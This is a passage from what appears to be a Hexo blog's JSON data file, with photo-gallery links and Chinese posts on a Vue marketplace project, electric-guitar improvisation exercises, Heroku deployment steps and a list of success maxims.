l_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":""},{"title":"用vue撸一个二手商城","date":"2018-01-22T03:30:37.000Z","_content":"## 开发背景\n一直想尝试下全栈开发,想尝试一下,选题的初衷是\b自己对资源共享和二手市场的前景非常看好\nstring.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。
\n
一直想尝试下全栈开发,想尝试一下,选题的初衷是\b自己对资源共享和二手市场的前景非常看好
\b共享资源的概念是有利于社会进步,并且是思维的一种跨越;未来一定是一个更美好的社会,我们需要做的就是让那一天尽早的到来
##
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"一直想尝试下全栈开发,想尝试一下,选题的初衷是\b自己对资源共享和二手市场的前景非常看好
\b共享资源的概念是有利于社会进步,并且是思维的一种跨越;未来一定是一个更美好的社会,我们需要做的就是让那一天尽早的到来
##
\n"},{"title":"电吉他即兴原理","date":"2017-02-15T13:02:51.000Z","_content":"\n## 第一阶段\n\n* 先确定好和弦进行,比如 1-6-4-5\n\n* 再找到该调中每个和弦的五级和弦,5-3-1-2\n\n* 把两个和弦的音归拢 12357 - 56713 - 34561 - 45672\n\n > 这样每个和弦就可以用那5个音了。现在先练习一下,在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。(对应的5个音可以按照默认的那个顺序也可以打乱练习,重点听这些音对和弦产生的效果)\n\n## 第二阶段\n\n* 重点音与经过音。\n\n* 在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果,哪些音对该和弦有特殊的效果,哪些音对该和弦没有多大用处比较平淡。(每个人的感觉不同,练习时候的心态和练习内容不同所以最终对音乐的感受也不一样,自然最后确定的音附也不一样,相信自己的感觉,这样坚持才能发展自己的特点)\n\n* 将找到的对每个和弦有用的音作为该和弦的重点,没用的作为经过音,同时不包含在每个和弦的那5个音中剩余的那两个音(46-24-27-13)刚开始练习阶段不要弹,以后熟练了再作为经过音加入到练习中。\n\n > (这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)\n\n## 第三阶段\n\n* 这次就是节奏的训练,同样的旋律试着把每个音的时值改变,加入附点音,先现音,休止符等。并随着水平的进步加快速度。\n\n > 从第一阶段到这个阶段差不多要练3-6个月的时间,大家先好好练习吧\n\n* (这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)\n## 各个阶段的重点\n建议大家先一个和弦一个和弦的练,把每个和弦和他对应的音练熟再换下一个和弦,然后再将两个和弦连起来练,然后再练下一个,再下一个,再连起来。\n* 第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。\n\n* 第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉(首先和弦的分解音肯定是比较稳定的感觉,剩下的两个音才是关键他们分别是和弦根音的7度和9度,这两个音和不同的和弦内音组成的旋律感觉最有特色)\n\n > 另外刚开始一定注意,慢速弹,一定把要弹的音先在脑子过一遍在反映到琴上,熟练以后才能得心应手,还要注意,每个和弦有5个可以选择的音符,还剩下的两个音(相对于和弦的根音是4度和6度)不是不能用,大家可以试试,这两个音给人的感觉并不是很舒服,最好在完成这两个阶段以后在加入进来练习。\n","source":"_posts/电吉他即兴原理.md","raw":"---\ntitle: 电吉他即兴原理\ndate: 2017-02-15 21:02:51\ntags: [电吉他, 即兴原理]\ncategories: 音乐\n---\n\n## 第一阶段\n\n* 先确定好和弦进行,比如 1-6-4-5\n\n* 再找到该调中每个和弦的五级和弦,5-3-1-2\n\n* 把两个和弦的音归拢 12357 - 56713 - 34561 - 45672\n\n > 这样每个和弦就可以用那5个音了。现在先练习一下,在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。(对应的5个音可以按照默认的那个顺序也可以打乱练习,重点听这些音对和弦产生的效果)\n\n## 第二阶段\n\n* 重点音与经过音。\n\n* 在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果,哪些音对该和弦有特殊的效果,哪些音对该和弦没有多大用处比较平淡。(每个人的感觉不同,练习时候的心态和练习内容不同所以最终对音乐的感受也不一样,自然最后确定的音附也不一样,相信自己的感觉,这样坚持才能发展自己的特点)\n\n* 将找到的对每个和弦有用的音作为该和弦的重点,没用的作为经过音,同时不包含在每个和弦的那5个音中剩余的那两个音(46-24-27-13)刚开始练习阶段不要弹,以后熟练了再作为经过音加入到练习中。\n\n > (这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)\n\n## 第三阶段\n\n* 这次就是节奏的训练,同样的旋律试着把每个音的时值改变,加入附点音,先现音,休止符等。并随着水平的进步加快速度。\n\n > 从第一阶段到这个阶段差不多要练3-6个月的时间,大家先好好练习吧\n\n* (这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)\n## 各个阶段的重点\n建议大家先一个和弦一个和弦的练,把每个和弦和他对应的音练熟再换下一个和弦,然后再将两个和弦连起来练,然后再练下一个,再下一个,再连起来。\n* 第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。\n\n* 第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉(首先和弦的分解音肯定是比较稳定的感觉,剩下的两个音才是关键他们分别是和弦根音的7度和9度,这两个音和不同的和弦内音组成的旋律感觉最有特色)\n\n > 另外刚开始一定注意,慢速弹,一定把要弹的音先在脑子过一遍在反映到琴上,熟练以后才能得心应手,还要注意,每个和弦有5个可以选择的音符,还剩下的两个音(相对于和弦的根音是4度和6度)不是不能用,大家可以试试,这两个音给人的感觉并不是很舒服,最好在完成这两个阶段以后在加入进来练习。\n","slug":"电吉他即兴原理","published":1,"updated":"2018-01-22T06:42:38.881Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7b004wvzqhv2bdfz3v","content":"先确定好和弦进行,比如 1-6-4-5
\n再找到该调中每个和弦的五级和弦,5-3-1-2
\n把两个和弦的音归拢 12357 - 56713 - 34561 - 45672
\n\n\n这样每个和弦就可以用那5个音了。现在先练习一下,在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。(对应的5个音可以按照默认的那个顺序也可以打乱练习,重点听这些音对和弦产生的效果)
\n
重点音与经过音。
\n在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果,哪些音对该和弦有特殊的效果,哪些音对该和弦没有多大用处比较平淡。(每个人的感觉不同,练习时候的心态和练习内容不同所以最终对音乐的感受也不一样,自然最后确定的音附也不一样,相信自己的感觉,这样坚持才能发展自己的特点)
\n将找到的对每个和弦有用的音作为该和弦的重点,没用的作为经过音,同时不包含在每个和弦的那5个音中剩余的那两个音(46-24-27-13)刚开始练习阶段不要弹,以后熟练了再作为经过音加入到练习中。
\n\n\n(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
\n
这次就是节奏的训练,同样的旋律试着把每个音的时值改变,加入附点音,先现音,休止符等。并随着水平的进步加快速度。
\n\n\n从第一阶段到这个阶段差不多要练3-6个月的时间,大家先好好练习吧
\n
(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
\n建议大家先一个和弦一个和弦的练,把每个和弦和他对应的音练熟再换下一个和弦,然后再将两个和弦连起来练,然后再练下一个,再下一个,再连起来。
\n第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。
\n第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉(首先和弦的分解音肯定是比较稳定的感觉,剩下的两个音才是关键他们分别是和弦根音的7度和9度,这两个音和不同的和弦内音组成的旋律感觉最有特色)
\n\n\n另外刚开始一定注意,慢速弹,一定把要弹的音先在脑子过一遍在反映到琴上,熟练以后才能得心应手,还要注意,每个和弦有5个可以选择的音符,还剩下的两个音(相对于和弦的根音是4度和6度)不是不能用,大家可以试试,这两个音给人的感觉并不是很舒服,最好在完成这两个阶段以后在加入进来练习。
\n
先确定好和弦进行,比如 1-6-4-5
\n再找到该调中每个和弦的五级和弦,5-3-1-2
\n把两个和弦的音归拢 12357 - 56713 - 34561 - 45672
\n\n\n这样每个和弦就可以用那5个音了。现在先练习一下,在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。(对应的5个音可以按照默认的那个顺序也可以打乱练习,重点听这些音对和弦产生的效果)
\n
重点音与经过音。
\n在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果,哪些音对该和弦有特殊的效果,哪些音对该和弦没有多大用处比较平淡。(每个人的感觉不同,练习时候的心态和练习内容不同所以最终对音乐的感受也不一样,自然最后确定的音附也不一样,相信自己的感觉,这样坚持才能发展自己的特点)
\n将找到的对每个和弦有用的音作为该和弦的重点,没用的作为经过音,同时不包含在每个和弦的那5个音中剩余的那两个音(46-24-27-13)刚开始练习阶段不要弹,以后熟练了再作为经过音加入到练习中。
\n\n\n(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
\n
这次就是节奏的训练,同样的旋律试着把每个音的时值改变,加入附点音,先现音,休止符等。并随着水平的进步加快速度。
\n\n\n从第一阶段到这个阶段差不多要练3-6个月的时间,大家先好好练习吧
\n
(这个练习中,速度一定要慢,60-100左右的速度,每个和弦可以延长到2小结,重点音用4分或2分音符,经过音用16分或8分音符,每次弹奏的旋律多重复几次熟记于心)
\n建议大家先一个和弦一个和弦的练,把每个和弦和他对应的音练熟再换下一个和弦,然后再将两个和弦连起来练,然后再练下一个,再下一个,再连起来。
\n第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。
\n第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉(首先和弦的分解音肯定是比较稳定的感觉,剩下的两个音才是关键他们分别是和弦根音的7度和9度,这两个音和不同的和弦内音组成的旋律感觉最有特色)
\n\n\n另外刚开始一定注意,慢速弹,一定把要弹的音先在脑子过一遍在反映到琴上,熟练以后才能得心应手,还要注意,每个和弦有5个可以选择的音符,还剩下的两个音(相对于和弦的根音是4度和6度)不是不能用,大家可以试试,这两个音给人的感觉并不是很舒服,最好在完成这两个阶段以后在加入进来练习。
\n
heroku 是一个自动部署工具,可以在代码发布后马上线上跑起来,对于一个刚入门的 node 新手有利于促进你的开发热情。
\n\n\n注意邮箱项目可以填写阿里云邮箱,目前qq邮箱和163邮箱不支持注册。
\n
给 heroku 指明入口文件,配置内容如下:
\nweb: node app.js\n
\nheroku login\n
\nheroku create\n
\n\n\n此时会给出一个仓库地址,留给下文用。
\n
git push '给的\b仓库地址.git' master\n
\n输入以下命令打开推送的内容
\nheroku open\n
\n\bheroku 有很多插件可供链接,
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"heroku 是一个自动部署工具,可以在代码发布后马上线上跑起来,对于一个刚入门的 node 新手有利于促进你的开发热情。
\n\n\n注意邮箱项目可以填写阿里云邮箱,目前qq邮箱和163邮箱不支持注册。
\n
给 heroku 指明入口文件,配置内容如下:
\nweb: node app.js\n
\nheroku login\n
\nheroku create\n
\n\n\n此时会给出一个仓库地址,留给下文用。
\n
git push '给的\b仓库地址.git' master\n
\n输入以下命令打开推送的内容
\nheroku open\n
\n\bheroku 有很多插件可供链接,
\n"},{"title":"董思阳的忠告","date":"2017-10-19T02:56:00.000Z","_content":"\n### 关于成功\n\n* 1、记住,平均每天看电视超过三小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上,同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。\n\n* 2、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的事他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。\n\n* 3、如果,你真的爱你的爸妈,爱你的女朋友,就好好得去奋斗,去拼搏吧,这样,你才有能力,有经济条件,有自由时间,去陪她们,去好好爱他们。\n\n* 4、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。过程只是人生的一部分,再辛苦,没有成功只能说明你的能力还不够。\n\n* 5、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。\n\n* 6、趁着年轻,多出去走走看看,读万卷书,不如行万里路,行万里路,不如阅人无数。\n\n* 7、与人交往的时候,多听少说,这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。\n\n* 8、不要装13,对于装13的人,最好的办法就是,见块砖头,悄悄跟上去,一下子从背后放到他。\n\n* 9、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。\n\n* 10、成功者就是胆识加魄力。\n\n* 11、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的,这样,你才能找到自己的目标和方向。\n\n* 12、如果我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径。\n\n### 忠告\n\n* 1、给自己定目标,一年、两年、五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运,破罐子破摔只能和懦弱做朋友。\n\n* 2、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越差。\n\n* 3、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只要一个,相信我。\n\n* 4、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。\n\n* 5、是人都有惰性,这是与生俱来的,但是我们后天可以改变这种惰性,因为有很多人正在改变,对于某种事物或是生意不要等别人做到了,我才想到,不要等别人已经赚到钱了,我才想去做,没有人相信的是市场和机遇,大家都相信的叫做膨胀。\n\n* 6、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现,而不是无所事事和做一些无谓的事。\n\n* 7、出路出路,走出去了,总是会有路的,困难苦难,困在家里就是难,社会普遍认为。\n\n* 8、做人,要做到;万事孝为先,教童品之道,夫妻和谐美,幸福万年长。但是这些不是拿来用嘴说说就能办到的,解放初期年代要做到这些,需要付出很大的努力和辛苦,当今现实的社会需要你付出很大的金钱,聪明的人都知道这个道理。\n\n* 9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。\n\n* 10、宁可错杀一千次来自各方面的信息,也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。\n\n* 11、要做一件事,成功之前,没有必要告诉其他人。成功之后不用你说,其他人都会知道的。这就是信息时代所带来的效应。\n\n* 12、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。\n\n### 小结\n> 二十岁没钱,那很正常;三十岁没钱,可能是没有好的家境,需要更大的努力;四十岁没钱,只能自己找原因。穷人变成富人是可能的,而且很可能。穷人能穷一辈子,也是必然的,存在就是理由,只是有所选择。\n","source":"_posts/董思阳的忠告.md","raw":"---\ntitle: 董思阳的忠告\ndate: 2017-10-19 10:56:00\ntags: [哲理]\ncategories: 生活\n---\n\n### 关于成功\n\n* 1、记住,平均每天看电视超过三小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上,同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。\n\n* 